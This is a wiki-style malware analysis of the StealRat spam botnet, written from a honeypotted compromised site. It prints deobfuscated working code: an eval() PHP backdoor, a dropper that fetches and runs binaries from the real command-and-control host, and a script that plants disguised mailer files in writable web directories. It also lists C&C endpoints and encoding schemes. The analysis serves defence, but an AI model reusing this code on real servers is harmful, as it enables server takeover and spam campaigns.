StealRat Botnet

From Leo's Notes
Last edited on 13 December 2022, at 22:31.

This is an in depth look at the StealRat Botnet first discussed by TrendMicro in their paper at http://blog.trendmicro.com/trendlabs-security-intelligence/compromised-sites-conceal-stealrat-botnet-operations/.

One of the sites I host became compromised and began sending thousands of spam messages per hour. Being in the position I am, I was able to honeypot the exploit and learned much of the inner workings of this spam operation.

Overview[edit | edit source]

The StealRat botnet operates with the following components:

  1. A Command and Control server
  2. Botnet agents
  3. Compromised websites acting as botnet agents
  4. Compromised websites acting as mail gateways
  5. Compromised websites acting as a HTTP redirect

The control server isolates itself from the actual act of spamming through the botnet agents and compromised websites. Each of these components will be discussed in detail below.

Command and Control Server[edit | edit source]

My knowledge of the C&C server is based solely on the exploit that is executed remotely by botnet agents and therefore may be incomplete.

The C&C server provides the 3 things for the malware.

  1. Email addresses to spam
  2. A message to send, including the actual message, the subject, the sender name, and email address
  3. URLs to compromised websites to use as mail gateways.

The command and control server is hosted by LeaseWeb in Amsterdam with the domain 'stat.touchpadz.com'. It resolves to the IP address 5.79.83.27.

Botnet Agents[edit | edit source]

The StealRat botnet has agents which makes the actual HTTP request against compromised websites which either directly sends spam through a PHP mail script on a compromised website, or sends spam through a PHP shell on a compromised website.

Compromised Websites[edit | edit source]

Exploits Used[edit | edit source]

The PHP Mailer Script[edit | edit source]

The PHP mailer script is an exploit uploaded by the attacker that allows the botnet to send spam messages. The deobfuscated mailer script can be seen below.

https://paste.steamr.com/view/56d1c67e

At its most active, these mailer scripts can be hit every few seconds by random botnet clients. An individual request will contain POST values listed below.

192.185.4.75:34076 (Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)) at Sep 19 2015, 22:39:39
Array
(
    [layer] => c2tra3Nra2tCbGN2ZyxhbW8hc2trbmhvbG9yQmZjbmNwYyxvbiFza2tsMjozNkJqbXZvY2tuLGFtbyFza2ttbGdya2dhZ2trckJlb2NrbixhbW8hc2trc2treF1wd2treDszQmptdm9ja24sYW1vIXNra3NyY3BuZ0Jlb2NrbixhbW8hc2trcHJoZEJybXF2Z3AsbG1rcixvZyFza2t2dm9CcWNqdmdvY2tuLGFtbyFza2hnZ3RjQmpjcGcvd2NnLGNnIXNraGdsQjM0MSxhbW8hc2toZ2xCc3MsYW1vIXNraGowMjIyQnZtbyxhbW8hc2toazI1OztCMDNhbCxhbW8hc2toa2NhY21Cam12b2NrbixhbW8hc2toa2NsLGdwQmVvY2tuLGFtbyFza2hrY2wzOjM6QmVvY2tuLGFtbyFza2hrY2xxQm92dyxnZnchc2toa2BtcXEzOzo2QmVvY2tuLGFtbyFza2hrYW1tbjAyMjIsMjMsMDBCc3MsYW1vIXNraGtmY3BnbEJzcyxhbW8=
    [dimm] => PldRR1A8bmdtbmNdamdxdmdwPi1XUUdQPA8IPkxDT0c8IE5nbW5jIkpncXZncCA+LUxDT0c8Dwg+UVdASDxEVTgiIlZqZyJxdmNlZWdwa2xlIkNmd252IlFrdmc+LVFXQEg8Dwg+UUBNRls8Dwg+Zmt0PA8IPmowPFZqZyJxdmNlZWdwa2xlIkNmd252IlFrdmciLyI+YyJqcGdkPyBqdnZyOC0td3BlL2Nxa2MsYW1vLXVyL2FtbHZnbHYtcm53ZWtscS13cmZwY2R2cm53cS1tYS1ld3h4bmctRXd4eG5nLVFncHRrYWctQW1vb2NsZi1jaGN6LHJqcj0nT0NLTl1HTCcgPGFtb2cidm0icWdnImt2Pi1jPD4tajA8Dwg+LWZrdDwPCD4tUUBNRls8
    [err] => 1
)

The POST arguments sent to the mailer script are listed below. While the keys are given as whole words, only the first letter is used.

  • l / layer - The list of email addresses to spam
  • d / dimm - The email message to send
  • en / err - Message encoded. Always observed as 1

Earlier this year in 2015, the botnet clients would send values using only the first letter (l, d, and en, instead of layer, dimm, and err) which shows that the botnet clients are still actively updated by the botnet operators. This is possibly an attempt to obfuscate the traffic slightly.

Both the email address list and message are encoded using base64 and XOR'd with 1's. The email address list contains 19 email addresses delimited by the hash '#' character. The email message contains the a fake name and username, email subject and message.

<USER>leola_hester</USER>
<NAME>"Leola Hester"</NAME>
<SUBJ>FW:  The staggering Adult Site</SUBJ>
<SBODY>
<div>
<h2>The staggering Adult Site - <a href="hxxp:/ /wp-content/plugins/updraftplus/oc/guzzle/Guzzle/Service/Command/ajax.php?%MAIL_EN%">come to see it</a></h2>
</div>
</SBODY>

This botnet in particular always send messages with a single link which goes to yet another hacked server which redirects an unsuspecting user to a site the botnet operators are promoting.

Interestingly, the user agent targeting the PHP mailer script is always

Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)

The PHP Shell[edit | edit source]

The PHP shell is a short exploit injected to an existing PHP script. A secret key is hard coded to allow arbitrary code execution by POSTing to the shell.

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}

This most likely was created from an existing exploit such as a vulnerable wordpress plugin.

Using this PHP shell, the botnet operators and other botnet clients can run arbitrary PHP code on the server.

One of the many uses is to further distance the act of sending the spam messages by using the shell as a proxy and to also amplify the amount of spam that can be sent by the botnet clients. Another is to maintain a healthy set of PHP mailer scripts online on the server in case they are taken down.

Proxying Mail Requests[edit | edit source]

Every few hours, one of the botnet clients will attempt to execute an obfuscated piece of PHP code on the PHP shell which proxies mail requests to other exploited servers. The raw code can be found at https://paste.steamr.com/view/7e4ccceb.

The payload is encoded using base64. The deciphered payload can be viewed below. The single quotes around the function names is an artifact of my decoder.

$h62="tw!VqYJhoDQuck-0{HZ4b3^(~'d?Txa9pN[>BER.\$]n%\r=z+P\"@&KG_Ir)\nS7fLmUC\t1,*MjO}Ae\\26y5;W/#<Fi `8gvlX|s:";
$fofxc93 ='http://pages.touchpadz.com/crond32';
$qylzj19 ='http://pages.touchpadz.com/crond64';
$vtpop93 = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPHF2Y3Ysdm13YWpyY2Z4LGFtbz4td3BqPD53cHI8OzMxMj4td3ByPD5udjw3MjI+LW52PD5uYTwzMjI+LW5hPD5gcTwwMj4tYHE8Pm53PGp2dnI4LS1xaSx2bXdhanJjZngsYW1vLT4tbnc8PmB3PGp2dnI4LS1gY3Ysdm13YWpyY2Z4LGFtby1jYzAscmpyPi1gdzw+cXc8anZ2cjgtLXF2Y3Ysdm13YWpyY2Z4LGFtby1laDMxYSxyanI+LXF3PD5uZmA8b3EyMjU+LW5mYDw+aWk8MWZgOjVhZjIzYDJjO2FkZy43N2E7MTUxNDJmNjowNWcyLjVhMTAwYDs3NjNhYGE2OmEuMDpmNzA0YDs2M2czOzA2NC42MjZjOzczYzQyOjE2Mjs3LjY7Mjc0Ozc7MjA2NWA7MDsuMTBhZjU3OzI2Z2czO2FjNi4xZmQxMWYzNTBhMTIzMDRmLjoyYzJjNGA2YDEwMWE7MC42ZDA0ZGY1NzI6YWM1NDswLjA2MGdgMzQ0NTc6MmQxYGcuNDcyMGBhZmEzNGBmOjZkOy41NjQ3NjZgZzA2OjY7MTZgLjVgZzA1NzZmNzI6MTsxNGAuNGc2MWEyYGcwMDAxNTYwNC42NztnYGZkMDE6YTphMjE7LjFhNjFhZDc2OjVnMWE0NS43NWNkZDcyNzQyZGQ6O2cwLjA6YDdhNWY2MTQ3MDo3ZjEuNDFmMjFmMDU1YTdkNjI2Oi43MzU3YDo0OjI1O2czZDY0LjNnMzU1MDE6Mzc2YTJgO2YuMTE6Z2BhZGY0MjM7ZzAwMC42MTZmOzszZzNgNWRnNmBmLjQ7OjA6NjJgNTVjYDQ3ZDIuMzdgM2dnOzU3NmM1Njo2NS4xMDVjO2M0MDJkMGZkMTU6LjMzYWA7NmA1NmE7MmE3MDUuMTY1ZGdhN2ExYzU0Zzo7NS43NmMyNTMwMTUzNDYzZmcwLjQxZzQ3YTFhMDpgM2ZhMjUuMTZnNmM0MzQyZDc2NmAwMy40NTMyY2YyOzU1ZjJjMjQzLjAzZjNgZDQzNzM0YGFhNjcuNWExMjEzNGAxZGRhZzswNy41NzBnZmc7Yzc6MzphZzE0LjY2OmNjYzJkNGBjMTAxOzQuMDE1N2E3YDcyOzI1NjNnOy4xYDU6NGc2NDdkOzIzN2YyLjRhOjo1Zjc7NTZmZmY1N2QuMzI0NTNgOzI0MzYwZjZkZC40Y2NnMDZnMzZnZDVjOjA2LjQ3NjIxZmMwN2E6Z2FhNjAuMDEyNjUwMGY1Omc2MWBkNC43MjNmMzEwMzA2ZjE2NDY2LjBjY2M0Z2c3M2A3NGYxZ2AuNDM1MTE6ZDo3MWMzOzc0Oy4zNzc6OmYyYzQ6OzFmOjNnLjYwNzAzMmZgMztmMmRmOjUuNDVgNmQ6ZDYzYzY2ZjAyMS4zYTE6MzAzNjA3MGAwZDBgLjE0MDQyNmExNWMyMGRgYzIuNztmNDY3O2MyMDUxZDMxMi47ZmRhOzE6NjEzMWEwMWcuNjQxN2Y6NWQ1OzM6ZmQ6My42ZGRjMmZnOzA7YzVjNGNjLjFmY2QxO2c7MWAyMTczNjouNzRhZmNmZzA3OzcxMWc7Oy40OjExM2c2NzU2MjpgYDNjLjQ7MTYwNzNkN2c1MzpmZjYuNTMzNGFgNDAyZDoxMmM7Ny40NjBhMjdhZjI0MTM2Y2EwLmcwMTZgNDMwZDBjMzQwZi41NjM0MWcxMzQyNmY6MjA1LjM6ZDE1YTQ0Mzs7MTs0Pi1paTw=';
$uozgl65 = 'php_uname'('s');
$loejf59 = 'php_uname'('m');

echo '<shchzzz>';
for (;;) {
        if (!'function_exists'('shell_exec')) {
                echo '<err step=1 err=noshex data=>';
                break;
        }
        if ($uozgl65 !== 'Linux') {
                echo '<err step=2 err=nolinux data='.$lxtbx16.'>';
                break;
        }
        $qqmum89 = 'crond';
        $tsscl83 = "";

        if ('strlen'('decbin'(~0)) == 64) {
                echo '<inf step=3 data=x64>';
        $tsscl83 = $qylzj19;
        } else {
                echo '<inf step=3 data=x32>';
        $tsscl83 = $fofxc93;
        }

        $qmdnf18 = "";
        if (!'file_exists'($qqmum89)) {
                $qmdnf18 = 'eeudo21'($h62, $tsscl83, $qqmum89);
        if ( $qmdnf18 == FALSE) {
                        echo '<err step=4 err=downl data=>';
                        break;
                } else {
                        echo '<inf step=4 data=downok>';
                }
        } else {
                echo '<inf step=4 data=exists>';
        }

        'chmod'($qmdnf18, 0755);
        $dqcji61 = $vtpop93.' ./'.$qmdnf18.' >/dev/null 2>/dev/null &';
        $mfsot18 = 'shell_exec'($dqcji61);
        echo '<inf step=5 data=done data2='.$mfsot18.'>';
        'sleep'(1);
        'unlink'($qmdnf18);
        break;
}

echo '</shchzzz>';
exit();

function zhioj40($h62, $frqrq5) {
        $cjwdq31 = "";
        $ccpoe86 = @'fopen'($frqrq5, 'rb');
        if ($ccpoe86 == FALSE) {
            if (!'function_exists'('curl_init')) return FALSE;
        $neawr42 = @'curl_init'();
            @'curl_setopt'($neawr42, CURLOPT_URL, $frqrq5);
            @'curl_setopt'($neawr42, CURLOPT_RETURNTRANSFER, true);
            $cjwdq31 = @'curl_exec'($neawr42);
        @'curl_close'($neawr42);
        } else {
                while(!'feof'($ccpoe86)) $cjwdq31.='fread'($ccpoe86, 1024 * 64 );
                'fclose'($ccpoe86);
        }
        return $cjwdq31;
}

function zipwg90($h62, $jvccs37, $cjwdq31) {
        $vlunc37 = 'fopen'($jvccs37, 'wb+');
        if ($vlunc37 == FALSE) {
                if (!'function_exists'('file_put_contents')) return FALSE;
                if ( @'file_put_contents'($jvccs37, $cjwdq31) === FALSE ) return FALSE;
        } else {
                $cnxtu25 = 'fwrite'($vlunc37, $cjwdq31, 'strlen'($cjwdq31));
                'fclose'($vlunc37);
                if ($cnxtu25 == FALSE || $cnxtu25 != 'strlen'($cjwdq31)) return FALSE;
        }
        return TRUE;
}

function eeudo21($h62, $frqrq5, $tlhpz76) {
        $cjwdq31 = 'zhioj40'($h62, $frqrq5);
        if ($cjwdq31 == FALSE) return FALSE;
        if ('zipwg90'($h62, ".".'/'.$tlhpz76, $cjwdq31) == FALSE) {
                if ('zipwg90'($h62, '/tmp/'.$tlhpz76, $cjwdq31) == FALSE) {
                        return FALSE;
                } else {
                        return '/tmp/'.$tlhpz76;
                }
        } else {
                return ".".'/'.$tlhpz76;
        }
        return FALSE;
}

Basically, the payload above fetches a binary from the C&C server based on the host's architecture to /tmp and executes it with an environment variable XDVSN_SESSION_COOKIE which is encoded using base64 and XOR'd with 1's. Decoding this value yielded URLs and arguments to other of the C&C resources which the binary uses in order to spam using other remote servers.

<ps>10</ps>
<urh>stat.touchpadz.com</urh>
<urp>9130</urp>
<lt>500</lt>
<lc>100</lc>
<bs>20</bs>
<lu>http://sk.touchpadz.com/</lu>
<bu>http://bat.touchpadz.com/aa2.php</bu>
<su>http://stat.touchpadz.com/gj13c.php</su>
<ldb>ms007</ldb>
<kk>3db87cd01b0a9cfe,55c937360d4827e0,7c322b9541cbc48c,28d526b941e19246,404a951a60834095,490569590247b929,32cd75904ee19ca4,3df33d172c30126d,80a0a6b4b323c92,4f26fd7508ca7692,242eb1667580f3be,6502bcdc16bd84f9,746544be2484934b,7be2754d5083936b,6e43c0be22237426,459ebdf238c8c039,3c43cf5487e3c67,57aff50560ff89e2,28b5c7d4365285d3,63d03d277c5f4048,5175b868079e1f46,1e177238154c0b9d,338ebcfd6019e222,434d991e1b7fe4bd,6982840b77ab65f0,15b1ee9754a74847,327a9a620f2df378,11cb94b74c90c527,347fec5c3a76e897,54a0712371641de2,63e65c3c28b1dc07,34e4a6160f544b21,6710ad0977d0a061,21d1bf61516bcc45,7c30316b3ffce925,752ede9a5818ce36,448aaa0f6ba32396,2375c5b5090741e9,3b786e465f9015d0,6c887d5974ddd75f,10671b906142d4ff,6aae24e14ef7a824,65403da25c8ecc42,2304722d78e43bf6,501d132124d34644,2aaa6ee51b56d3eb,617338f853a19569,15588d0a6893d81e,425210db19d0fd87,67b4f8f41a44d203,1c381214252b2f2b,362604c37a02fba0,59d6459a0273f130,9dfc9384313c23e,4635d87f7918df81,4ffa0de929a7a6aa,3daf39e93b035148,56cdade259533e99,68331e457408bb1a,6934251f5e718dd4,7116cb620f830a95,642c05cd06314ac2,e234b612f2a162d,74163e31604d8027,18f37c66199396</kk>

From what I can figure out, the arguments are:

  • ldb = list database containing the email addresses. Changing this yielded different email addresses.
  • kk = random keys the program should use
  • su = a URL to the C&C server that provides a random URL to a PHP mailer script
  • bu = a URL to the C&C server that provides a random email message to send
  • lu = the base URL to the C&C server that provides an encrypted list of email addresses.
  • lc = limit on the number of emails to fetch

More on the C&C in the section below.

A Simple Solution
This attack can be prevented if /tmp is made to be noexec.


Interestingly, these clients always make the request with the user agent string of:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0

Once the binary executes with the proper environment variable set, it will fetch a random URL to use as a mail gateway, a list of about 100 email addresses to spam, and a email message from the C&C server. In batches of 19 email addresses, the binary will make one request to a random PHP mailer script until all emails have been exhausted and the program terminates.

The PHP Exploit Creator[edit | edit source]

Once in a while, a botnet client will run a different piece of obfuscated PHP code which creates the PHP mailer scripts. https://paste.steamr.com/view/26c4575f

Deobfuscating the code shows that the exploit creator will randomly traverse into a directory and dump the payload into a random file whose name is randomly generated from a list of generic words, all of which are web related in order to be discrete.

$targetUrl = 'http://firefromthesky.org//.wysywigPro_edit_index_html.php';
$phpExt = 'php';
$spamBotCode = b64decode($key, $payload);
 
$directoryKeywords = array ('dirs', 'dir', 'lib', 'search', 'stats', 'info', 'functions', 'db', 'inc', 'include', 'admin', 'user', 'system', 'file', 'files',
        'global', 'template', 'blog', 'header', 'footer', 'press', 'test', 'title',      'code', 'options', 'option', 'general', 'gallery', 'themes',
        'article', 'login', 'ajax', 'start', 'cache', 'proxy', 'menu', 'page', 'list', 'config', 'alias', 'defines', 'css', 'javascript', 'diff',
        'ini', 'sql', 'xml', 'error', 'dump', 'utf', 'help', 'session', 'model', 'view', 'object', 'plugin');
 
 
print '
<shchzzz>
';
 
if (ietib34($key, FALSE, $targetUrl, $phpExt, $spamBotCode, $directoryKeywords)) {
        print '<wrn lp=false stage=9 type=done data=>
';
} else {
        if (ietib34($key, TRUE, $targetUrl, $phpExt, $spamBotCode, $directoryKeywords)) {
                print '<wrn lp=true stage=9 type=done data=>
';
        } else {
                print '<err lp=true stage=9 type=err data=>
';
        }
}
 
print '</shchzzz>
';
exit;
 
function ietib34($key, $lpValue, $targetUrl, $phpExt, $spamBotCode, $directoryKeywords) {
        $foundResult = false;
        list($resultCode, $lpValue, $documentRoot, $foundUrl) = determineDocumentRootAndUri($key, $lpValue, $targetUrl);
        if ($resultCode != 0 ) {
                print '<err lp='.$lpValue.' stage=1 code='.$resultCode.'>
';
                return $foundResult;
        }
 
        print '<inf lp='.$lpValue.' stage=2 type=cwd data="'.$documentRoot.'">
';
        print '<inf lp='.$lpValue.' stage=3 type=ur data="'.$foundUrl.'">
';
 
        $foundWritableDirectories = array();
        iwmoa26($key, $documentRoot, $foundWritableDirectories);
        print '<inf lp='.$lpValue.' stage=4 type=gddr data="'.count($foundWritableDirectories).'">
';
 
        for ($ujrhi67 = 0; $ujrhi67 < 5; $ujrhi67++) {
                $spamFileName = "";
                $newHackUrl = "";
                $resultCode = getRandomSpamLocation($key, $phpExt, $foundWritableDirectories, $documentRoot, $foundUrl, $directoryKeywords, $spamFileName, $newHackUrl);
                if ($resultCode == 0) {
                        print '<err lp='.$lpValue.' stage=5 code=>
';
                        break;
                }
 
                $resultCode = writeSpamBotToFile($key, $spamFileName, $spamBotCode);
                if ($resultCode == 0) {
                        continue;
                }
 
				// data1 = the relative spam file location, data2 = spam file URL
                print '<inf stage=7 type=upl data1="'.$spamFileName.'" data2="'.$newHackUrl.'">
';
                $foundResult = true;
                break;
        }
        return $foundResult;
}
 
function writeSpamBotToFile($key, $spamFileName, $spamBotCode) {
        $spamFile = @fopen($spamFileName, 'x');
        if ($spamFile === FALSE) {
                print '<err stage=6 type=fopen>
';
                return 0;
        }
        $bytesWritten = @fwrite($spamFile, $spamBotCode);
        if ($bytesWritten != strlen($spamBotCode)) {
                print '<err stage=6 type=fwrite data='.strlen($spamBotCode).'x'.$bytesWritten.'>
';
                return 0;
        }
 
        @fclose($spamFile);
        return 1;
}
 
function getRandomSpamLocation($key, $phpExt, $foundWritableDirectories, $documentRoot, $foundUrl, $directoryKeywords, &$spamFileName, &$newHackUrl) {
        shuffle($directoryKeywords);
		shuffle($foundWritableDirectories);
        for ($i = 0; $i < count($foundWritableDirectories); $i++) {
                for ($j = 0; $j < count($directoryKeywords); $j++) {
                        $spamFileCandidateName  = $foundWritableDirectories[$i].DIRECTORY_SEPARATOR.$directoryKeywords[$j].'.'.$phpExt;
                        if (@file_exists($spamFileCandidateName)) continue;
                        $newHackFileName = substr($spamFileCandidateName, strlen($documentRoot));
                        $newHackFileName = @preg_replace('/\\/', '/', $newHackFileName);
                        $spamFileName = $spamFileCandidateName;
                        $newHackUrl = $foundUrl.$newHackFileName;
                        return 1;
                }
        }
        return 0;
}
 
function iwmoa26($key, $wrgnk99, &$foundWritableDirectories) {
        $ldcoq38[] = $wrgnk99;
        if (is_writable($wrgnk99)) $foundWritableDirectories[] = $wrgnk99;
        for ( $ujrhi67 = 0; $ujrhi67 < count($ldcoq38); $ujrhi67++  ) {
                $ykpui49 = qzlik90($key, $ldcoq38[$ujrhi67]);
                foreach ( $ykpui49 as $fnqqo33 ) {
                        if ($fnqqo33 == '.' || $fnqqo33 == '..') continue;
                        $yijlq63 = $ldcoq38[$ujrhi67] . DIRECTORY_SEPARATOR . $fnqqo33;
                        if (@is_dir($yijlq63)) {
                                if (@preg_match('/admin/i', $fnqqo33)) continue;
                                if (@preg_match('/cgi-bin/i', $fnqqo33)) continue;
                                if (@preg_match('/protected/i', $fnqqo33)) continue;
                                $ldcoq38[] = $yijlq63;
                                if (!@is_writable($yijlq63)) continue;
                                if (@is_link($yijlq63)) continue;
                                $foundWritableDirectories[] = $yijlq63;
                        }
                }
                if ($ujrhi67 > 500 && count($foundWritableDirectories) > 20) break;
        }
        return;
}
 
function determineDocumentRootAndUri($key, $lp, $targetUrl) {
        $lpValue = $lp; // boolean
        $foundUrl = "";
        $documentRoot = $_SERVER['DOCUMENT_ROOT'];
 
        if ($lpValue || (!isset($documentRoot) || $documentRoot == "")) {
                $lpValue = true;
                $documentRoot = @getcwd();/*4,5*/
                if (!isset($documentRoot) || $documentRoot == "") {
                        return array(1, $lpValue, "", "");
                }
                if (@preg_match('(https?://.*/)', $targetUrl , $awfog84) == 0 ) {
                        return array(2, $lpValue, "", "");
                }
                $foundUrl = $awfog84[0];
        } else {
                if (@preg_match('(https?://.*?/)', $targetUrl , $awfog84) == 0 ) {
                        return array(3, $lpValue, "", "");
                }
                $foundUrl = $awfog84[0];
        }
		// remove ending /
        if(substr($documentRoot, -1) == '/') $documentRoot = substr($documentRoot, 0, -1);
        if(substr($foundUrl, -1) == '/') $foundUrl = substr($foundUrl, 0, -1);
 
		// 0 = no url found
		// 1 = document is not found
		// 2 = has a url, but document is not found
		// 3 = document found, but no url
		// document root of this hack, the URL of the original backdoor
        return array(0, $lpValue, $documentRoot, $foundUrl);
}
 
function qzlik90($key, $gcoqp49) {
        $bfdvr95 = array();
        $ofhyr48 = @opendir($gcoqp49);
        if ($ofhyr48 != FALSE ) {
                while (false !== ($dpxxb64 = @readdir($ofhyr48))) {
            if (count($bfdvr95) > 5000) break;
                        $bfdvr95[] = $dpxxb64;
                }
                closedir($ofhyr48);
        }
        return $bfdvr95;
}
 
function b64decode($key, $in){
	$out = "";
	for($x = 0; $x < 256; $x++) {
		$chr[$x] = chr($x);
	}
 
	$b64c = array_flip(preg_split("//","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",-1,1));
	$match = array();
	preg_match_all("([A-z0-9+\/]{1,4})",$in,$match);
 
	foreach($match[0] as $chunk){
		$z = 0;
		for($x = 0; isset($chunk[$x]); $x++){
			$z = ($z &lt;&lt; 6) + $b64c[$chunk[$x]];
			if($x > 0){
				$out .= $chr[$z >> (4-(2*($x-1)))];
				$z = $z & (0xf >> (2 * ($x - 1)));
			}
		}
	}
 
	return $out;
}

The payload always contains the PHP mailer script discussed in the sections above.

More about the C&C Server[edit | edit source]

The C&C server is hosted in the Netherlands by LeaseWeb. By capturing the botnet requests to proxy and to amplify the spam requests, the C&C resources were discovered. There are three resources that are of interest:

  • hxxp://pages. .com/crond32
  • hxxp://pages. .com/crond64
  • hxxp://sk. .com//img/logo.gif?sessd=$ldb&sessc=$lc&sessk=$kk
  • hxxp://bat. .com/aa2.php
  • hxxp://stat. .com/gj13c.php

The first two are the 32 and 64bit binaries used by the botnet to proxy HTTP requests to PHP mailer scripts.

The logo.gif resource takes in three parameters:

  1. sessd - the email table
  2. sessc - the number of email addresses to fetch
  3. sessk - a 16 character long key the contents are 'encrypted' with. 0's are used to pad the string if its length is less than 16 bytes.

The contents returned is XOR'ed using the key provided.

aa2.php provides the spam messages. gj13c.php provides a URL to a PHP mailer script.

See Also[edit | edit source]